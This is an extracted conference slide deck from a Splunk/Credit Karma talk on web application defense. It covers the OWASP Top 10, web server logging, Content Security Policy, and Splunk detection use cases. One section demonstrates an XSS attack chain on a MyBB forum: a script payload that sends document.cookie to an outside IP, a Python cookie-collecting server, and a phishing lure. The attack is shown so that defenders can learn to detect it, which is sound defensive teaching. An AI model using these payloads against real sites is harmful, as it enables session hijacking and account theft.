Splunk and Credit Karma:
The Road to Web Application Defense Using Splunk and the OWASP Top 10

Nate Hawthorne | Senior Security Engineer, Credit Karma
Chris Shobert | Senior Sales Engineer, Splunk
Lily Lee | Staff Sales Engineer, Splunk

September 28, 2017 | Washington, DC
Forward-Looking Statements

During the course of this presentation, we may make forward-looking statements regarding future events or the expected performance of the company. We caution you that such statements reflect our current expectations and estimates based on factors currently known to us and that actual events or results could differ materially. For important factors that may cause actual results to differ from those contained in our forward-looking statements, please review our filings with the SEC.

The forward-looking statements made in this presentation are being made as of the time and date of its live presentation. If reviewed after its live presentation, this presentation may not contain current or accurate information. We do not assume any obligation to update any forward looking statements we may make. In addition, any information about our roadmap outlines our general product direction and is subject to change at any time without notice. It is for informational purposes only and shall not be incorporated into any contract or other commitment. Splunk undertakes no obligation either to develop the features or functionality described or to include any such feature or functionality in a future release.

Splunk, Splunk>, Listen to Your Data, The Engine for Machine Data, Splunk Cloud, Splunk Light and SPL are trademarks and registered trademarks of Splunk Inc. in the United States and other countries. All other brand names, product names, or trademarks belong to their respective owners. © 2017 Splunk Inc. All rights reserved.
Agenda
The Road to Web Application Defense

- OWASP Top 10
- Web Server Logging and Configuration
- Mitigate and Detect XSS and Injection Techniques
- Use Cases
- Key Takeaways
- Q&A
OWASP Top 10
### OWASP Top 10: Proposed Changes for 2017 (RC1)

<table>
<thead>
<tr>
<th>OWASP Top 10 – 2013 (Previous)</th>
<th>OWASP Top 10 – 2017 (New)</th>
</tr>
</thead>
<tbody>
<tr>
<td>A1 – Injection</td>
<td>A1 – Injection</td>
</tr>
<tr>
<td>A2 – Broken Authentication and Session Management</td>
<td>A2 – Broken Authentication and Session Management</td>
</tr>
<tr>
<td>A3 – Cross-Site Scripting (XSS)</td>
<td>A3 – Cross-Site Scripting (XSS)</td>
</tr>
<tr>
<td><strong>A4 – Insecure Direct Object References - Merged with A7</strong></td>
<td><strong>A4 – Broken Access Control (Original category in 2003/2004)</strong></td>
</tr>
<tr>
<td>A5 – Security Misconfiguration</td>
<td>A5 – Security Misconfiguration</td>
</tr>
<tr>
<td>A6 – Sensitive Data Exposure</td>
<td>A6 – Sensitive Data Exposure</td>
</tr>
<tr>
<td>A7 – Missing Function Level Access Control - Merged with A4</td>
<td><strong>A7 – Insufficient Attack Protection (NEW)</strong></td>
</tr>
<tr>
<td>A8 – Cross-Site Request Forgery (CSRF)</td>
<td>A8 – Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>A9 – Using Components with Known Vulnerabilities</td>
<td>A9 – Using Components with Known Vulnerabilities</td>
</tr>
<tr>
<td>A10 – Unvalidated Redirects and Forwards - Dropped</td>
<td><strong>A10 – Underprotected APIs (NEW)</strong></td>
</tr>
</tbody>
</table>

## OWASP Top 10: Proposed Changes for 2017 (RC1)

<table>
<thead>
<tr>
<th>OWASP Top 10 – 2013 (Previous)</th>
<th>OWASP Top 10 – 2017 (New)</th>
</tr>
</thead>
<tbody>
<tr>
<td>A1 – Injection</td>
<td>A1 – Injection</td>
</tr>
<tr>
<td>A2 – Broken Authentication and Session Management</td>
<td>A2 – Broken Authentication and Session Management</td>
</tr>
<tr>
<td>A3 – Cross-Site Scripting (XSS)</td>
<td>A3 – Cross-Site Scripting (XSS)</td>
</tr>
<tr>
<td>A5 – Security Misconfiguration</td>
<td>A5 – Security Misconfiguration</td>
</tr>
<tr>
<td>A6 – Sensitive Data Exposure</td>
<td>A6 – Sensitive Data Exposure</td>
</tr>
<tr>
<td>A7 – Missing Function Level Access Control - Merged with A4</td>
<td>A7 – Insufficient Attack Protection (NEW)</td>
</tr>
<tr>
<td>A8 – Cross-Site Request Forgery (CSRF)</td>
<td>A8 – Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>A9 – Using Components with Known Vulnerabilities</td>
<td>A9 – Using Components with Known Vulnerabilities</td>
</tr>
<tr>
<td>A10 – Unvalidated Redirects and Forwards - Dropped</td>
<td>A10 – Underprotected APIs (NEW)</td>
</tr>
</tbody>
</table>

# OWASP Top 10: Proposed Changes for 2017 (RC1)

<table>
<thead>
<tr>
<th>OWASP Top 10 – 2013 (Previous)</th>
<th>OWASP Top 10 – 2017 (New)</th>
</tr>
</thead>
<tbody>
<tr>
<td>A1 – Injection</td>
<td>A1 – Injection</td>
</tr>
<tr>
<td>A2 – Broken Authentication and Session Management</td>
<td>A2 – Broken Authentication and Session Management</td>
</tr>
<tr>
<td>A3 – Cross-Site Scripting (XSS)</td>
<td>A3 – Cross-Site Scripting</td>
</tr>
<tr>
<td>A5 – Security Misconfiguration</td>
<td>A5 – Security Misconfiguration</td>
</tr>
<tr>
<td>A6 – Sensitive Data Exposure</td>
<td>A6 – Sensitive Data Exposure</td>
</tr>
<tr>
<td>A7 – Missing Function Level Access Control - Merged with A4</td>
<td>A7 – Insufficient Attack Protection (NEW)</td>
</tr>
<tr>
<td>A8 – Cross-Site Request Forgery (CSRF)</td>
<td>A8 – Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>A9 – Using Components with Known Vulnerabilities</td>
<td>A9 – Using Components with Known Vulnerabilities</td>
</tr>
<tr>
<td>A10 – Unvalidated Redirects and Forwards - Dropped</td>
<td>A10 – Underprotected APIs (NEW)</td>
</tr>
</tbody>
</table>

A balance between prevention and detection

Must also consider dependencies (e.g. firewall rules, OS patch, user agents)

You cannot monitor or protect what you do not know about

There is always room for improvement with respects to visibility
A1: Injection
Oldie but a goodie

“SQL Injection Fools Speed Traps and Clears Your Record”
A3: Cross-Site Scripting (XSS)

The one who won’t go away

- Attacker injects malicious code into the websites resources.
- Victim requests resources from the web services.
- Web service serves all requested content to the client, including the compromised script.
- Malicious code persists on the server as a valid resource, and will be served to the client on their request.
- Attacker controlled code is executed in the client’s browser, and data is sent back to an attacker controlled server.
XSS Examples from BOTS v2.0
Easy to Find Vulns, Often Exploits Too...

https://www.exploit-db.com/exploits/40749/

MyBB 1.8.6 - Cross-Site Scripting

EDB-ID: 40749  Author: Curesec Research Team  Published: 2016-11-10
CVE: N/A  Type: Webapps  Platform: PHP
E-DB Verified:  Exploit:  Download / View Raw  Vulnerable App:

1. Security Advisory - Curesec Research Team
2. 1. Introduction
3. ...
4. ...
5. Affected Product: MyBB 1.8.6
6. Fixed in: 1.8.7
8. Vendor Website: http://www.mybb.com/
9. Vulnerability Type: XSS
10. Remote Exploitable: Yes
11. Reported to vendor: 01/29/2016
12. Disclosed to public: 09/15/2016
13. Release mode: Coordinated Release
14. CVE: n/a
15. Credits: Tim Coen of Curesec GmbH
16. 2. Overview
Easy to Find Vulns, Often Exploits Too…

https://www.exploit-db.com/exploits/40749/

MyBB 1.8.6 - Cross-Site Scripting
Testing for XSS with `alert()` May Not Be Damaging…

https://www.exploit-db.com/exploits/40749/

```
http://www.brewertalk.com/member.php?action=activate&uid=-1&code="><script>alert(%27%EB%8C%80%EB%8F%99%27)</script>
```
But Cookie Stealing / Session Hijacking Is...

root@LAGER:~# python tinyhttp.py
serving at port 9999

/microsoftuserfeedbackservice?metric=mybb[lastvisit]=1502722613;%20mybb[lastactive]=1502723982;%20loginattempts=1;%20admins=0d2035fa36349fd2f979acc59a7829af %20acploginattempts=0

71.39.18.121 - - [14/Aug/2017 15:21:25] "GET /microsoftuserfeedbackservice?metric=mybb[lastvisit]=1502722613;%20mybb[lastactive]=1502723982;%20loginattempts=1;%20admins=0d2035fa36349fd2f979acc59a7829af;%20acploginattempts=0 HTTP/1.1" 302 -
A Little Spear Phishing
+ Social Engineering

RE: brewertalk.com

thebeerguy2112@gmail.com

Thu 8/10, 2:31 PM
Kevin Lagerfield 🗑️

Hi Kevin,
I think you are the new manager for brewertalk.com, I’m having trouble logging in. >From my new account. Can you give it to me? I see errors on this page.
-The Beer Guy
Exploiting XSS
Malicious URL Redirect


Hi Kevin,
I think you are the new manager for brewertalk.com, I'm having trouble logging in. >From my new account. Can you give it to me? I see errors on this page
-The Beer Guy
Exploiting XSS
Malicious URL Redirect – Decoded

```
<a href='http://www.brewertalk.com/member.php?action=activate&uid=-1&code='>
<script>
document.location="http://45.77.65.211:9999/microsoftuserfeedbacks
ervice?metric= + document.cookie;"></script>

Hi Kevin,
I think you are the new manager for brewertalk.com. I'm having trouble logging in. >From my new account. Can you give it to me? I see errors on this page.
-The Beer Guy
```
Sample Python Cookie Snarfer / Redirector

```python
#!/usr/bin/env python2.7
import SimpleHTTPServer
import SocketServer
class myHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
    def do_GET(self):
        print self.path
        self.send_response(302)
        new_path = '%s%s'%(http://www.brewertalk.com, '/index.php')
        self.send_header('Location', new_path)
        self.end_headers()

PORT = 9999
handler = SocketServer.TCPServer('''', PORT, myHandler)
print "serving at port 9999"
handler.serve_forever()
```
Result: Steal adminsid Authentication Cookie
httpOnly Oversight

https://github.com/mybb/mybb/issues/1622
Web Server Logging

Fundamentals
Web Server Usage

- Apache: 49.1%
- Nginx: 34.6%
- Microsoft-IIS: 11.0%
- LiteSpeed: 2.9%
- Google Servers: 1.1%
- Tomcat: 0.5%
- Node.js: 0.30%

Source: https://w3techs.com/technologies/overview/web_server/all
Comprehensive and flexible

Key log files:
- Error log
- Access log
Apache Web Server
Going past the default configuration file

- Primary configuration file: httpd.conf
- Scoping directives to:
  - Directories
  - Files
  - Location
  - Virtual hosts
- Modules offer flexibility and extensibility into configuration
  - modules/mod_headers.so
  - modules/mod_log_config.so
# Apache Access Logging

## Fields

<table>
<thead>
<tr>
<th>%a</th>
<th>%B</th>
<th>%r</th>
<th>%s</th>
<th>%q</th>
<th>{VARNAME}i</th>
<th>%U</th>
<th>%H</th>
<th>%T</th>
</tr>
</thead>
<tbody>
<tr>
<td>Client IP address of the request</td>
<td>Size of response in bytes</td>
<td>First line of request</td>
<td>Status</td>
<td>Query string</td>
<td>The contents of VARNAME: header line(s) in the request sent to the server</td>
<td>URL path, no query string</td>
<td>Request protocol</td>
<td>The time taken to serve the request, in second</td>
</tr>
</tbody>
</table>

and many more…

## Examples

```javascript
LogFormat "%h %l %u %t "%r" %>s %b "%{Referer}i" "%{User-Agent}i"" combined
LogFormat "%h %l %u %t "%r" %>s %b" common
CustomLog "/var/log/httpd/access_log" combined
```
NGINX Access Logging

- Use the `log_format` directive to change the format of logged messages

```plaintext
log_format combined '"remote_addr - remote_user [time_local] ""request" status body_bytes_sent "referer" http_user_agent"';
```

- Use the `access_log` directive to specify the location of the log and its format

```plaintext
access_log /var/log/nginx/access.log log_file combined;
```
IIS Access Logging

IIS log file formats:

1. W3C Extended Log File Format

```
#Software: Internet Information Services 6.0
#Version: 1.0
#Date: 2001-05-02 17:42:15
#Fields: time c-ip cs-method cs-uri-stem sc-status cs-version
17:42:15 172.16.255.255 GET /default.htm 200 HTTP/1.0
```

2. IIS Log File Format

```
192.168.114.201, -, 03/20/01, 7:55:20, W3SVC2, SALES1, 172.21.13.45, 4502, 163, 3223, 200, 0, GET, /DeptLogo.gif, -, 172.16.255.255, anonymous, 03/20/01, 23:58:11, MSFTPSVC, SALES1, 172.16.255.255, 60, 275, 0, 0, 0, PASS, /Intro.htm, -,
```

3. NCSA Common Log File Format

```
```
Application Logging
Quick overview

- Error logs are critical for operational insight
- Customize logging for your applications
  - Using a library like Monolog

```php
<?php
   use Monolog\Logger;
   use Monolog\Handler\StreamHandler;
   use Monolog\Formatter\JsonFormatter.php
   // create a log channel
   $log = new Logger('name');
   // create a JSON formatter
   $formatter = new JsonFormatter();
   $log->pushHandler(new StreamHandler('path/to/your.log', Logger::WARNING));
   // add records to the log
   $log->warning('Foo');
   $log->error('Bar');
?>
```
But, first let us talk defense …
Protecting the Web App Through the Web Server
## Slow Adoption into CSP, HSTS and SRI

<table>
<thead>
<tr>
<th>Technology</th>
<th>April 2016</th>
<th>October 2016</th>
<th>June 2017</th>
<th>% Change</th>
</tr>
</thead>
<tbody>
<tr>
<td>Content Security Policy (CSP)</td>
<td>.005%1</td>
<td>.008%1</td>
<td>.018%2</td>
<td>+125%</td>
</tr>
<tr>
<td></td>
<td>.012%2</td>
<td>.021%2</td>
<td>.043%2</td>
<td></td>
</tr>
<tr>
<td>Cookies (Secure/HttpOnly)³</td>
<td>3.76%</td>
<td>4.88%</td>
<td>6.50%</td>
<td>+33%</td>
</tr>
<tr>
<td>Cross-origin Resource Sharing (CORS)</td>
<td>93.78%</td>
<td>96.21%</td>
<td>96.55%</td>
<td>+.4%</td>
</tr>
<tr>
<td>HTTPS</td>
<td>29.64%</td>
<td>33.57%</td>
<td>45.80%</td>
<td>+36%</td>
</tr>
<tr>
<td>HTTP → HTTPS Redirection</td>
<td>5.06%5</td>
<td>7.94%5</td>
<td>14.38%5</td>
<td>+57%</td>
</tr>
<tr>
<td></td>
<td>8.91%6</td>
<td>13.29%6</td>
<td>22.88%6</td>
<td></td>
</tr>
<tr>
<td>Public Key Pinning (HPKP)</td>
<td>0.43%</td>
<td>0.50%</td>
<td>0.71%</td>
<td>+42%</td>
</tr>
<tr>
<td>— HPKP Preloaded²</td>
<td>0.41%</td>
<td>0.47%</td>
<td>0.43%</td>
<td>-9%</td>
</tr>
<tr>
<td>Strict Transport Security (HSTS)</td>
<td>1.75%</td>
<td>2.59%</td>
<td>4.37%</td>
<td>+69%</td>
</tr>
<tr>
<td>— HSTS Preloaded²</td>
<td>.158%</td>
<td>.231%</td>
<td>.337%</td>
<td>+46%</td>
</tr>
<tr>
<td>Subresource Integrity (SRI)</td>
<td>0.015%9</td>
<td>0.052%10</td>
<td>0.113%10</td>
<td>+117%</td>
</tr>
<tr>
<td>X-Content-Type-Options (XCTO)</td>
<td>6.19%</td>
<td>7.22%</td>
<td>9.41%</td>
<td>+30%</td>
</tr>
<tr>
<td>X-Frame-Options (XFO)¹¹</td>
<td>6.83%</td>
<td>8.78%</td>
<td>10.98%</td>
<td>+25%</td>
</tr>
<tr>
<td>X-XSS-Protection (XXSSP)¹²</td>
<td>5.03%</td>
<td>6.33%</td>
<td>8.12%</td>
<td>+28%</td>
</tr>
</tbody>
</table>

Source: [https://blog.mozilla.org/security/2017/06/28/analysis-alexa-top-1m-sites/](https://blog.mozilla.org/security/2017/06/28/analysis-alexa-top-1m-sites/)
### Slow Adoption into CSP, HSTS and SRI

<table>
<thead>
<tr>
<th>Technology</th>
<th>April 2016</th>
<th>October 2016</th>
<th>June 2017</th>
<th>% Change</th>
</tr>
</thead>
<tbody>
<tr>
<td>Content Security Policy (CSP)</td>
<td>.005%¹</td>
<td>.008%¹</td>
<td>.018%¹</td>
<td>+125%</td>
</tr>
<tr>
<td></td>
<td>.012%²</td>
<td>.021%²</td>
<td>.043%²</td>
<td></td>
</tr>
<tr>
<td>Cookies (Secure/HttpOnly)³</td>
<td>3.76%</td>
<td>4.88%</td>
<td>6.50%</td>
<td>+33%</td>
</tr>
<tr>
<td>Cross-origin Resource Sharing (CORS)</td>
<td>93.78%</td>
<td>96.21%</td>
<td>96.55%</td>
<td>+.4%</td>
</tr>
<tr>
<td>HTTPS</td>
<td>29.64%</td>
<td>33.57%</td>
<td>45.80%</td>
<td>+36%</td>
</tr>
<tr>
<td>HTTP → HTTPS Redirection</td>
<td>5.06%⁵</td>
<td>7.94%⁵</td>
<td>14.38%⁵</td>
<td>+57%</td>
</tr>
<tr>
<td></td>
<td>8.91%⁶</td>
<td>13.29%⁶</td>
<td>22.88%⁶</td>
<td></td>
</tr>
<tr>
<td>Public Key Pinning (HPKP)</td>
<td>0.43%</td>
<td>0.50%</td>
<td>0.71%</td>
<td>+42%</td>
</tr>
<tr>
<td>— HPKP Preloaded</td>
<td>0.41%</td>
<td>0.47%</td>
<td>0.43%</td>
<td>-9%</td>
</tr>
<tr>
<td>Strict Transport Security (HSTS)⁶</td>
<td>1.75%</td>
<td>2.59%</td>
<td>4.37%</td>
<td>+69%</td>
</tr>
<tr>
<td>— HSTS Preloaded</td>
<td>.158%</td>
<td>.231%</td>
<td>.337%</td>
<td>+46%</td>
</tr>
<tr>
<td>Subresource Integrity (SRI)</td>
<td>0.015%⁹</td>
<td>0.052%¹⁰</td>
<td>0.113%¹⁰</td>
<td>+117%</td>
</tr>
<tr>
<td>X-Content-Type-Options (XCTO)</td>
<td>6.19%</td>
<td>7.22%</td>
<td>9.41%</td>
<td>+30%</td>
</tr>
<tr>
<td>X-Frame-Options (XFO)¹¹</td>
<td>6.83%</td>
<td>8.78%</td>
<td>10.98%</td>
<td>+25%</td>
</tr>
<tr>
<td>X-XSS-Protection (XXSSP)¹²</td>
<td>5.03%</td>
<td>6.33%</td>
<td>8.12%</td>
<td>+28%</td>
</tr>
</tbody>
</table>

Source: [https://blog.mozilla.org/security/2017/06/28/analysis-alexa-top-1m-sites/](https://blog.mozilla.org/security/2017/06/28/analysis-alexa-top-1m-sites/)
# Slow Adoption into CSP, HSTS and SRI

<table>
<thead>
<tr>
<th>Technology</th>
<th>April 2016</th>
<th>October 2016</th>
<th>June 2017</th>
<th>% Change</th>
</tr>
</thead>
<tbody>
<tr>
<td>Content Security Policy (CSP)</td>
<td>.005%¹</td>
<td>.008%¹</td>
<td>.018%¹</td>
<td>+125%</td>
</tr>
<tr>
<td></td>
<td>.012%²</td>
<td>.021%²</td>
<td>.043%²</td>
<td></td>
</tr>
<tr>
<td>Cookies (Secure/HttpOnly)³</td>
<td>3.76%</td>
<td>4.88%</td>
<td>6.50%</td>
<td>+33%</td>
</tr>
<tr>
<td>Cross-origin Resource Sharing (CORS)</td>
<td>93.78%</td>
<td>96.21%</td>
<td>96.55%</td>
<td>+.4%</td>
</tr>
<tr>
<td>HTTPS</td>
<td>29.64%</td>
<td>33.57%</td>
<td>45.80%</td>
<td>+36%</td>
</tr>
<tr>
<td>HTTP → HTTPS Redirection</td>
<td>5.06%⁵</td>
<td>7.94%⁵</td>
<td>14.38%⁵</td>
<td>+57%</td>
</tr>
<tr>
<td></td>
<td>8.91%⁶</td>
<td>13.29%⁶</td>
<td>22.88%⁶</td>
<td></td>
</tr>
<tr>
<td>Public Key Pinning (HPKP)</td>
<td>0.43%</td>
<td>0.50%</td>
<td>0.71%</td>
<td>+42%</td>
</tr>
<tr>
<td>— HPKP Preloaded⁷</td>
<td>0.41%</td>
<td>0.47%</td>
<td>0.43%</td>
<td>-9%</td>
</tr>
<tr>
<td>Strict Transport Security (HSTS)⁶</td>
<td>1.75%</td>
<td>2.59%</td>
<td>4.37%</td>
<td>+69%</td>
</tr>
<tr>
<td>— HSTS Preloaded⁷</td>
<td>.158%</td>
<td>.231%</td>
<td>.337%</td>
<td>+46%</td>
</tr>
<tr>
<td>Subresource Integrity (SRI)</td>
<td>0.015%⁹</td>
<td>0.052%¹⁰</td>
<td>0.113%¹⁰</td>
<td>+117%</td>
</tr>
<tr>
<td>X-Content-Type-Options (XCTO)</td>
<td>6.19%</td>
<td>7.22%</td>
<td>9.41%</td>
<td>+30%</td>
</tr>
<tr>
<td>X-Frame-Options (XFO)¹¹</td>
<td>6.83%</td>
<td>8.78%</td>
<td>10.98%</td>
<td>+25%</td>
</tr>
<tr>
<td>X-XSS-Protection (XXSSP)¹²</td>
<td>5.03%</td>
<td>6.33%</td>
<td>8.12%</td>
<td>+28%</td>
</tr>
</tbody>
</table>

Source: [https://blog.mozilla.org/security/2017/06/28/analysis-alexa-top-1m-sites/](https://blog.mozilla.org/security/2017/06/28/analysis-alexa-top-1m-sites/)
Slow Adoption into CSP, HSTS and SRI

<table>
<thead>
<tr>
<th>Technology</th>
<th>April 2016</th>
<th>October 2016</th>
<th>June 2017</th>
<th>% Change</th>
</tr>
</thead>
<tbody>
<tr>
<td>Content Security Policy (CSP)</td>
<td>.005%</td>
<td>.008%</td>
<td>.018%</td>
<td>+125%</td>
</tr>
<tr>
<td></td>
<td>.012%</td>
<td>.021%</td>
<td>.043%</td>
<td></td>
</tr>
<tr>
<td>Cookies (Secure/HttpOnly)</td>
<td>3.76%</td>
<td>4.88%</td>
<td>6.50%</td>
<td>+33%</td>
</tr>
<tr>
<td>Cross-origin Resource Sharing (CORS)</td>
<td>93.78%</td>
<td>96.21%</td>
<td>96.55%</td>
<td>+.4%</td>
</tr>
<tr>
<td>HTTPS</td>
<td>29.64%</td>
<td>33.57%</td>
<td>45.80%</td>
<td>+36%</td>
</tr>
<tr>
<td>HTTP → HTTPS Redirection</td>
<td>5.06%</td>
<td>7.94%</td>
<td>14.38%</td>
<td>+57%</td>
</tr>
<tr>
<td></td>
<td>8.91%</td>
<td>13.29%</td>
<td>22.88%</td>
<td></td>
</tr>
<tr>
<td>Public Key Pinning (HPKP)</td>
<td>0.43%</td>
<td>0.50%</td>
<td>0.71%</td>
<td>+42%</td>
</tr>
<tr>
<td>— HPKP Preloaded</td>
<td>0.41%</td>
<td>0.47%</td>
<td>0.43%</td>
<td>-9%</td>
</tr>
<tr>
<td>Strict Transport Security (HSTS)</td>
<td>1.75%</td>
<td>2.59%</td>
<td>4.37%</td>
<td>+69%</td>
</tr>
<tr>
<td>— HSTS Preloaded</td>
<td>.158%</td>
<td>.231%</td>
<td>.337%</td>
<td>+46%</td>
</tr>
<tr>
<td>Subresource Integrity (SRI)</td>
<td>0.015%</td>
<td>0.052%</td>
<td>0.113%</td>
<td>+117%</td>
</tr>
<tr>
<td>X-Content-Type-Options (XCTO)</td>
<td>6.19%</td>
<td>7.22%</td>
<td>9.41%</td>
<td>+30%</td>
</tr>
<tr>
<td>X-Frame-Options (XFO)</td>
<td>6.83%</td>
<td>8.78%</td>
<td>10.98%</td>
<td>+25%</td>
</tr>
<tr>
<td>X-XSS-Protection (XXSSP)</td>
<td>5.03%</td>
<td>6.33%</td>
<td>8.12%</td>
<td>+28%</td>
</tr>
</tbody>
</table>

Source: https://blog.mozilla.org/security/2017/06/28/analysis-alexa-top-1m-sites/
Protecting the Web App Through the Web Server
Content Security Policy (CSP)

▶ What is CSP?
• Controls the resources a particular page can fetch or execute

▶ OWASP Top 10 – A1, A3, A7
• Mitigates the risk of content-injection attacks
• Framework to reduce the privilege of applications
• Detect flaws being exploited in the wild

▶ Not a first line of defense
Content Security Policy (CSP) Directives

CSP Level 1
- connect-src
- default-src
- font-src
- frame-src
- img-src
- media-src
- object-src
- sandbox
- script-src
- style-src
- report-uri

CSP Level 2
- base-uri
- block-all-mixed-content
- child-src
- form-action
- frame-ancestors
- plugin-types
- reflected-xss
- require-sri-for
- upgrade-insecure-requests

CSP Level 3
- disown-opener*
- manifest-src
- navigation-to*
- report-to*
- strict-dynamic
- worker-src

* Experimental
Content Security Policy 1.0

Mitigate cross-site scripting attacks by whitelisting allowed sources of script, style, and other resources.

Source: http://caniuse.com/#feat=contentsecuritypolicy
Content Security Policy Level 2

Mitigate cross-site scripting attacks by whitelisting allowed sources of script, style, and other resources. CSP 2 adds hash-source, nonce-source, and five new directives.

Source: http://caniuse.com/#feat=contentsecuritypolicy2
CSP Reporting Directive
Content-Security-Policy-Report-Only vs. Content-Security-Policy

- **block-uri**: the URI that attempted to load the content, violating the CSP
- **document-uri**: the URI of the document which was in violation
- **original-policy**: the policy that was being enforced at the time of violation
- **referrer**: the referrer for the violation
- **violated-directive**: which directive was responsible for this alert being generated
- **reporting-uri**: URI to send a JSON formatted violation report

```json
{ [-]
  "csp-report": { [-]
    "block-uri": "https://stats.g.doubleclick.net",
    "document-uri": "https://creditkarma.ca/signup",
    "original-policy": "connect-src 'self'",
    "referrer": "http://bat.r.msn.com",
    "violated-directive": "img-src 'self'",
    "reporting-uri": "https://bat.bing.com",
  }
}
```
CSP Report-Only vs. Enforce

Enforce can break stuff...

⚠️ Mixed Content: The page at 'https://192.241.214.210/index.php?route=product/category&path=18' was loaded over index.php:1 HTTPS, but requested an insecure Content Security Policy reporting endpoint 'http://gewulf.com:8088/services/collector/rw2token=06024B8F-8AD7-41F7-816A-57F262103832&channel=00872DC6-AC83-4EDE-8AFE-8413C3825C4C'. This request has been blocked; the content must be served over HTTPS.
CSP Syntax
Directive values

Content-Security-Policy: <policy-directive>; <policy-directive>

- `*` → Wildcard, allows everything
- ‘none’ → Prevents loading resources from any source
- ‘self’ → Allows loading resources from the same origin (same scheme, host and port)
- data: → Allows loading resources via the data scheme (e.g. Base64 encoded images)
- domain.example.com → Allows loading resources from the specified domain
- `*.example.com` → Allows loading resources from any subdomain under example.com
- `https://my.example.com` → Allows loading resources only over HTTPS matching the given domain
- `https:` → Allows loading resources only over HTTPS on any domain
- ‘unsafe-inline’ → Allows use of inline source elements and JavaScript
- ‘unsafe-eval’ → Allows use of dynamic code evaluation
CSP Server Side Configuration

- **Apache CSP Header**
  
  ```
  Header set Content-Security-Policy "default-src 'self';"
  ```

- **NGINX CSP Header**
  
  ```
  add_header Content-Security-Policy "default-src 'self';;"
  ```

- **IIS CSP Header**
  
  ```
  <system.webServer>
      <httpProtocol>
          <customHeaders>
              <add name="Content-Security-Policy" value="default-src 'self';;" />
          </customHeaders>
      </httpProtocol>
  </system.webServer>
  ```
CSP Examples
https://www.creditkarma.ca

Source: https://cspvalidator.org/#url=https://www.creditkarma.ca
Diving into a Violation

Value of blocking
Architecture #1 – Collection Service

Scripted Collection Services + UF

1) Client sends request to web server.
2) Web server responds with CSP inside of a custom HTTP response header.

3) Supported browser will evaluate the policy, and then send a POST with a JSON blurb to the collection service when violations are detected.

4) Content is written to disk, and then picked up by the Universal Forwarder and sent off to be indexed.
Architecture #2 – HEC
HTTP Event Collector

1) Client sends request to web server.
2) Web server responds with CSP inside of a custom HTTP response header.

3) Supported browser will evaluate the policy, and then send a POST with a JSON blurb directly to the HEC.

4) Content is picked up the HTTP listener, and will be indexed in accordance with inputs.conf.
Results & Use Cases
Use Case #1
Utilizing web logs for investigation

▶ Leverage data models and acceleration
▶ Use dashboards for quick and efficient searching of the data
Use Case #2
Utilizing web logs for application security inspection

- Leverage open-source detection signatures from recognized tools, such as ModSecurity Core Rule Set (CRS)
- Write custom content for detections
- Use threat intel to correlate against known indicators
- Apply statistical analysis around sessions
- Leverage as a secondary alerting mechanism against web data
Example

Looking for directory traversal: uri_path_Values

Use `tstats` to search for sessions with suspicious content in key fields.
Use `tstats` to search for sessions with suspicious content in key fields.

Example (cont.)

Looking for directory traversal: `Web.src`, `Web.status`
Example (cont.)

Looking for directory traversal: regex

- Use `tstats` to search for sessions with suspicious content in key fields.
Use Case #3
Generate policies from your data!

- Automatically create CSP policies by collecting the data
Use Case #4
XSS examples from BOTS v2.0

- A well developed policy should result in high fidelity events for the responder
- Detection of injection attempt → drilldown into web server logs
BOTS CSP Example
Occurrences of CSP violations
BOTS CSP Example
Content-Security-Policy report-uri

Content-Security-Policy:
BOTS CSP Example

Filtering

Note: CSP can be noisy. Here we see "violation" reports triggered on normal behavior. CSP nonce or hash capabilities could help here but would require code changes in MyBB.
It All Started With a Little Phishing

Hi Kevin,
I think you are the new manager for brewertalk.com. I'm having trouble logging in. >From my new account. Can you give it to me? I see errors on this page.
-The Beer Guy

<a href='http://www.brewertalk.com/member.php?action=activate&uid=-1&code='><script>document.location=2F%3A%2F%2F45.77.65.211%3A9999%2Fmicr osoftuserfeedbackservice%3Fmetric%3D%22%20%2BDocument.cookie%3B%3C%2Fscript%3E'</a>
XSS Captured in Splunk via CSP

```
index=main sourcetype=csp-violation csp-report.document-uri=*document.cookie*
```

```
8/19/17 4:36:41.000 PM
{}
csp-report: {}
blobbed-url: inline
disposition: report
action=activateMember1&code=2739%2Fscript%3Fdocument.location%3Dhttp://www.brewtalk.com/member.php?
action=activateMember1&code=2739%2Fscript%3Fdocument.location%3Dhttp://www.brewtalk.com/member.php?
effective-directive: script-src
line-number: 129
referrer: script-sample:
source-file: http://www.brewtalk.com/member.php?
action=activateMember1&code=2739%2Fscript%3Fdocument.location%3Dhttp://www.brewtalk.com/member.php?
action=activateMember1&code=2739%2Fscript%3Fdocument.location%3Dhttp://www.brewtalk.com/member.php?
status-code: 200
violated-directive: script-src
```
XSS Captured in Splunk via CSP

http://www.brewertalk.com/member.php?action=activate&uid=-1&code=%22%3e%3Cscript%3Edocument.location%3D%22http%3A%2F%2F45.77.65.211%2Fmicrosoftuserfeedbackservice%3Fmetric%3D%22%20%2B%20document.cookie%3B%3C%2Fscript%3E

Remember this?
Key Takeaways
Key Takeaways
The Road to Web Application Defense

1. Treat your web apps like other security sources in your environment (i.e. monitor, report, alert).

2. Default and even operations-centric logging may not be sufficient for typical security detection and response situations.

3. Leverage CSP for an additional layer of security that helps to detect and mitigate against attacks, such as XSS and injection.
Next Steps for Getting Started

Credit Karma
How Do I Get Started?

▶ Check out the resources provided in this presentation
▶ Fully understand your web stack and environment
▶ Determine and engage your stakeholders
▶ Start with a report-only policy
Q&A
Thank You

Don't forget to rate this session in the .conf2017 mobile app
Resources (1)

- OWASP Top Ten Project: https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
- Splunk Enterprise for Information Security Hands-On: https://www.slideshare.net/Splunk/splunk-enterprise-for-infosec-handson
- Splunk>dev Logging Best Practices: http://dev.splunk.com/view/logging/SP-CAAAFCK
- Apache HTTP Server v2.4 Log Files: https://httpd.apache.org/docs/2.4/logs.html
Introduction to Splunk HTTP Event Collector (HEC): http://dev.splunk.com/view/event-collector/SP-CAAAAE6M


GitHub’s CSP Journey:
https://githubengineering.com/githubs-csp-journey/